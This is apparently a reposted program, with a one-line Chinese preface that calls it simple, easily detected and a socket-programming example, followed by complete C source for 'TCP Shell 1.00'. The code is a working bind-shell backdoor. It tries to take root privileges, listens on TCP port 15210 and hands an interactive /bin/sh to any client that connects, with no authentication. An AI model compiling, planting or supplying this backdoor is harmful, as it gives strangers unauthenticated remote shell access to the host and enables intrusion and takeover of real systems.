很简单很容易被发现，且当作socket编程例子学习吧。
/*==============================================
TCP Shell Version 1.00
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN ([email protected])
===============================================
*/
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <limits.h>
#include <netdb.h>
#include <arpa/inet.h>
#define MAX_CLIENTS 5 /* Max client num */
#define PORT_NUM 15210 /* Port */
void get_connection(socket_type, port, listener)
int socket_type;
int port;
int *listener;
{
struct sockaddr_in address;
struct sockaddr_in acc;
int listening_socket;
int connected_socket = -1;
int new_process;
int reuse_addr = 1;
int acclen=sizeof(acc);
memset((char *) &address, 0, sizeof(address));
address.sin_family = AF_INET;
address.sin_port = htons(port);
address.sin_addr.s_addr = htonl(INADDR_ANY);
listening_socket = socket(AF_INET, socket_type, 0);
if (listening_socket < 0) {
perror("socket");
exit(1);
}
if (listener != NULL) *listener = listening_socket;
setsockopt(listening_socket,SOL_SOCKET,SO_REUSEADDR,
(void *)&reuse_addr,sizeof(reuse_addr));
if (bind(listening_socket,(struct sockaddr *)&address,sizeof(address))<0
){
perror("bind");
close(listening_socket);
exit(1);
}
if (socket_type == SOCK_STREAM){
if (listen(listening_socket, MAX_CLIENTS)==-1){
perror("listen");
exit(1);
}
}
}
void sock_puts(sockfd, str)
int sockfd;
char *str;
{
char x[2000],*buf;
size_t bytes_sent = 0;
int this_write,count;
sprintf(x,"\r%s",str);
count=strlen(x);
buf=x;
while (bytes_sent < count) {
do
this_write = write(sockfd, buf, count - bytes_sent);
while ( (this_write < 0) && (errno == EINTR) );
if (this_write <= 0) return;
bytes_sent += this_write;
buf += this_write;
}
}
int main(argc, argv)
int argc;
char *argv[];
{
void get_connection();
void sock_puts();
int i,sz;
int sock;
static int listensock = -1;
struct sockaddr_in sad;
setuid(0);
setgid(0);
for (;;){
get_connection(SOCK_STREAM, PORT_NUM, &listensock);
sz=sizeof(struct sockaddr_in);
for (;;){
if ((sock=accept(listensock,(void *)&sad,&sz))==-1){
perror("Accept");
exit(1);
}
if (fork()==0){
sock_puts(sock,"The ShadowPenguin Systems Inc. TCP Shell 1.00 De
veloped by
UNYUN.\n");
for (i=0;i<3;i++){
close(i); dup2(sock,i);
}
execl("/bin/sh","sh","-i",0);
close(sock);
break;
}
}
}
}
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